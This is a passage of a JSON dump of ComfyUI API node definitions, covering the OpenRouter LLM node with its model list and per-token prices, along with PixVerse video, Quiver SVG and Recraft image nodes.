"comfy_api_nodes.nodes_openai", "category": "partner/text/OpenAI", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpenRouterLLMNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text input to the model.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The OpenRouter model used to generate the response.", "options": [{"key": "anthropic/claude-opus-4.7", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "openai/gpt-5.5-pro", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "openai/gpt-5.5", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "google/gemini-3.5-flash", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference video(s) \u2014 up to 4. Sent as URLs.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}]}}}, {"key": "x-ai/grok-4.20", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "x-ai/grok-4.3", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 20. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10", "image_11", "image_12", "image_13", "image_14", "image_15", "image_16", "image_17", "image_18", "image_19", "image_20"], "min": 0}}]}}}, {"key": "deepseek/deepseek-v4-pro", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "deepseek/deepseek-v4-flash", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "deepseek/deepseek-v3.2", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "qwen/qwen3.6-max-preview", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "qwen/qwen3.6-plus", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 10. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference video(s) \u2014 up to 4. Sent as URLs.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}]}}}, {"key": "qwen/qwen3.6-flash", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 10. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}], "videos": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference video(s) \u2014 up to 4. Sent as URLs.", "template": {"input": {"required": {"video": ["VIDEO", {}]}}, "names": ["video_1", "video_2", "video_3", "video_4"], "min": 0}}]}}}, {"key": "mistralai/mistral-large-2512", "inputs": {"required": {"images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 8. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}, {"key": "mistralai/mistral-medium-3-5", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 8. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8"], "min": 0}}]}}}, {"key": "z-ai/glm-4.6", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "z-ai/glm-5", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "moonshotai/kimi-k2.6", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Optional reference image(s) \u2014 up to 10. Sent as URLs.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", "image_7", "image_8", "image_9", "image_10"], "min": 0}}]}}}, {"key": "moonshotai/kimi-k2-thinking", "inputs": {"required": {"reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "perplexity/sonar-pro", "inputs": {"required": {"search_context_size": ["COMBO", {"tooltip": "How much web search context to retrieve. Larger = more grounded but slower/pricier.", "advanced": true, "default": "medium", "multiselect": false, "options": ["low", "medium", "high"]}]}}}, {"key": "perplexity/sonar-reasoning-pro", "inputs": {"required": {"search_context_size": ["COMBO", {"tooltip": "How much web search context to retrieve. Larger = more grounded but slower/pricier.", "advanced": true, "default": "medium", "multiselect": false, "options": ["low", "medium", "high"]}], "reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}, {"key": "perplexity/sonar-deep-research", "inputs": {"required": {"search_context_size": ["COMBO", {"tooltip": "How much web search context to retrieve. Larger = more grounded but slower/pricier.", "advanced": true, "default": "medium", "multiselect": false, "options": ["low", "medium", "high"]}], "reasoning_effort": ["COMBO", {"tooltip": "Reasoning effort. 'off' disables reasoning entirely.", "advanced": true, "default": "off", "multiselect": false, "options": ["off", "low", "medium", "high"]}]}}}]}], "seed": ["INT", {"tooltip": "Seed for sampling. Set to 0 to omit. Most models treat this as a hint only.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"system_prompt": ["STRING", {"tooltip": "Foundational instructions that dictate the model's behavior.", "advanced": true, "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["system_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpenRouterLLMNode", "display_name": "OpenRouter LLM", "description": "Generate text responses through OpenRouter. Routes to a curated set of popular models from xAI, DeepSeek, Qwen, Mistral, Z.AI (GLM), Moonshot (Kimi), and Perplexity Sonar.", "python_module": "comfy_api_nodes.nodes_openrouter", "category": "partner/text/OpenRouter", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "(\n $rates := {\n \"anthropic/claude-opus-4.7\": [0.005, 0.025],\n \"openai/gpt-5.5-pro\": [0.03, 0.18],\n \"openai/gpt-5.5\": [0.005, 0.03],\n \"google/gemini-3.5-flash\": [0.0015, 0.009],\n \"x-ai/grok-4.20\": [0.00125, 0.0025],\n \"x-ai/grok-4.3\": [0.00125, 0.0025],\n \"deepseek/deepseek-v4-pro\": [0.000435, 0.00087],\n \"deepseek/deepseek-v4-flash\": [0.000112, 0.000224],\n \"deepseek/deepseek-v3.2\": [0.000252, 0.000378],\n \"qwen/qwen3.6-max-preview\": [0.00104, 0.00624],\n \"qwen/qwen3.6-plus\": [0.000325, 0.00195],\n \"qwen/qwen3.6-flash\": [0.0001875, 0.001125],\n \"mistralai/mistral-large-2512\": [0.0005, 0.0015],\n \"mistralai/mistral-medium-3-5\": [0.0015, 0.0075],\n \"z-ai/glm-4.6\": [0.00043, 0.00174],\n \"z-ai/glm-5\": [0.0006, 0.00192],\n \"moonshotai/kimi-k2.6\": [0.00073, 0.00349],\n \"moonshotai/kimi-k2-thinking\": [0.0006, 0.0025],\n \"perplexity/sonar-pro\": [0.003, 0.015],\n \"perplexity/sonar-reasoning-pro\": [0.002, 0.008],\n \"perplexity/sonar-deep-research\": [0.002, 0.008]\n };\n $r := $lookup($rates, widgets.model);\n $r ? {\n \"type\": \"list_usd\",\n \"usd\": $r,\n \"format\": { \"approximate\": true, \"separator\": \"-\", \"suffix\": \" per 1K tokens\" }\n } : {\"type\": \"text\", \"text\": \"Token-based\"}\n)"}, "search_aliases": null, "essentials_category": "Text Generation", "has_intermediate_output": false}, "PixverseTextToVideoNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "aspect_ratio": ["COMBO", {"multiselect": false, "options": ["16:9", "4:3", "1:1", "3:4", "9:16"]}], "quality": ["COMBO", {"default": "540p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration_seconds": ["COMBO", {"multiselect": false, "options": [5, 8]}], "motion_mode": ["COMBO", {"multiselect": false, "options": ["normal", "fast"]}], "seed": ["INT", {"tooltip": "Seed for video generation.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "multiline": true}], "pixverse_template": ["PIXVERSE_TEMPLATE", {"tooltip": "An optional template to influence style of generation, created by the PixVerse Template node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "aspect_ratio", "quality", "duration_seconds", "motion_mode", "seed"], "optional": ["negative_prompt", "pixverse_template"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "PixverseTextToVideoNode", "display_name": "PixVerse Text to Video", "description": "Generates videos based on prompt and output_size.", "python_module": "comfy_api_nodes.nodes_pixverse", "category": "partner/video/PixVerse", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration_seconds", "type": "COMBO"}, {"name": "quality", "type": "COMBO"}, {"name": "motion_mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"5\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 0.6, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.45, \"fast\": 0.9},\n \"360p\": {\"normal\": 0.45, \"fast\": 0.9}\n },\n \"8\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.9, \"fast\": 1.2},\n \"360p\": {\"normal\": 0.9, \"fast\": 1.2}\n }\n };\n $durPrices := $lookup($prices, $string(widgets.duration_seconds));\n $qualityPrices := $lookup($durPrices, widgets.quality);\n $price := $lookup($qualityPrices, widgets.motion_mode);\n {\"type\":\"usd\",\"usd\": $price ? $price : 0.9}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PixverseImageToVideoNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "quality": ["COMBO", {"default": "540p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration_seconds": ["COMBO", {"multiselect": false, "options": [5, 8]}], "motion_mode": ["COMBO", {"multiselect": false, "options": ["normal", "fast"]}], "seed": ["INT", {"tooltip": "Seed for video generation.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "multiline": true}], "pixverse_template": ["PIXVERSE_TEMPLATE", {"tooltip": "An optional template to influence style of generation, created by the PixVerse Template node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "quality", "duration_seconds", "motion_mode", "seed"], "optional": ["negative_prompt", "pixverse_template"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "PixverseImageToVideoNode", "display_name": "PixVerse Image to Video", "description": "Generates videos based on prompt and output_size.", "python_module": "comfy_api_nodes.nodes_pixverse", "category": "partner/video/PixVerse", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration_seconds", "type": "COMBO"}, {"name": "quality", "type": "COMBO"}, {"name": "motion_mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"5\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 0.6, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.45, \"fast\": 0.9},\n \"360p\": {\"normal\": 0.45, \"fast\": 0.9}\n },\n \"8\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.9, \"fast\": 1.2},\n \"360p\": {\"normal\": 0.9, \"fast\": 1.2}\n }\n };\n $durPrices := $lookup($prices, $string(widgets.duration_seconds));\n $qualityPrices := $lookup($durPrices, widgets.quality);\n $price := $lookup($qualityPrices, widgets.motion_mode);\n {\"type\":\"usd\",\"usd\": $price ? $price : 0.9}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PixverseTransitionVideoNode": {"input": {"required": {"first_frame": ["IMAGE", {}], "last_frame": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "quality": ["COMBO", {"default": "540p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration_seconds": ["COMBO", {"multiselect": false, "options": [5, 8]}], "motion_mode": ["COMBO", {"multiselect": false, "options": ["normal", "fast"]}], "seed": ["INT", {"tooltip": "Seed for video generation.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["first_frame", "last_frame", "prompt", "quality", "duration_seconds", "motion_mode", "seed"], "optional": ["negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "PixverseTransitionVideoNode", "display_name": "PixVerse Transition Video", "description": "Generates videos based on prompt and output_size.", "python_module": "comfy_api_nodes.nodes_pixverse", "category": "partner/video/PixVerse", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration_seconds", "type": "COMBO"}, {"name": "quality", "type": "COMBO"}, {"name": "motion_mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"5\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 0.6, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.45, \"fast\": 0.9},\n \"360p\": {\"normal\": 0.45, \"fast\": 0.9}\n },\n \"8\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.9, \"fast\": 1.2},\n \"360p\": {\"normal\": 0.9, \"fast\": 1.2}\n }\n };\n $durPrices := $lookup($prices, $string(widgets.duration_seconds));\n $qualityPrices := $lookup($durPrices, widgets.quality);\n $price := $lookup($qualityPrices, widgets.motion_mode);\n {\"type\":\"usd\",\"usd\": $price ? $price : 0.9}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PixverseTemplateNode": {"input": {"required": {"template": ["COMBO", {"multiselect": false, "options": ["Microwave", "Suit Swagger", "Anything, Robot", "Subject 3 Fever", "kiss kiss"]}]}}, "input_order": {"required": ["template"]}, "is_input_list": false, "output": ["PIXVERSE_TEMPLATE"], "output_is_list": [false], "output_name": ["pixverse_template"], "output_tooltips": [null], "output_matchtypes": null, "name": "PixverseTemplateNode", "display_name": "PixVerse Template", "description": "", "python_module": "comfy_api_nodes.nodes_pixverse", "category": "partner/video/PixVerse", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "QuiverTextToSVGNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the desired SVG output.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for SVG generation.", "options": [{"key": "arrow-1.1", "inputs": {"required": {"temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}, {"key": "arrow-1.1-max", "inputs": {"required": {"temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}, {"key": "arrow-preview", "inputs": {"required": {"temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"instructions": ["STRING", {"tooltip": "Additional style or formatting guidance.", "advanced": true, "default": "", "multiline": true}], "reference_images": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 4 reference images to guide the generation.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "ref_", "min": 0, "max": 4}}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["instructions", "reference_images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "QuiverTextToSVGNode", "display_name": "Quiver Text to SVG", "description": "Generate an SVG from a text prompt using Quiver AI.", "python_module": "comfy_api_nodes.nodes_quiver", "category": "partner/image/Quiver", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $contains(widgets.model, \"max\")\n ? {\"type\":\"usd\",\"usd\":0.3575}\n : $contains(widgets.model, \"preview\")\n ? {\"type\":\"usd\",\"usd\":0.429}\n : {\"type\":\"usd\",\"usd\":0.286}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "QuiverImageToSVGNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Input image to vectorize."}], "auto_crop": ["BOOLEAN", {"tooltip": "Automatically crop to the dominant subject.", "advanced": true, "default": false}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for SVG vectorization.", "options": [{"key": "arrow-1.1", "inputs": {"required": {"target_size": ["INT", {"tooltip": "Square resize target in pixels.", "advanced": true, "default": 1024, "min": 128, "max": 4096}], "temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}, {"key": "arrow-1.1-max", "inputs": {"required": {"target_size": ["INT", {"tooltip": "Square resize target in pixels.", "advanced": true, "default": 1024, "min": 128, "max": 4096}], "temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}, {"key": "arrow-preview", "inputs": {"required": {"target_size": ["INT", {"tooltip": "Square resize target in pixels.", "advanced": true, "default": 1024, "min": 128, "max": 4096}], "temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "auto_crop", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "QuiverImageToSVGNode", "display_name": "Quiver Image to SVG", "description": "Vectorize a raster image into SVG using Quiver AI.", "python_module": "comfy_api_nodes.nodes_quiver", "category": "partner/image/Quiver", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $contains(widgets.model, \"max\")\n ? {\"type\":\"usd\",\"usd\":0.3575}\n : $contains(widgets.model, \"preview\")\n ? {\"type\":\"usd\",\"usd\":0.429}\n : {\"type\":\"usd\",\"usd\":0.286}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftTextToImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1365x1024", "1024x1365", "1536x1024", "1024x1536", "1820x1024", "1024x1820", "1024x2048", "2048x1024", 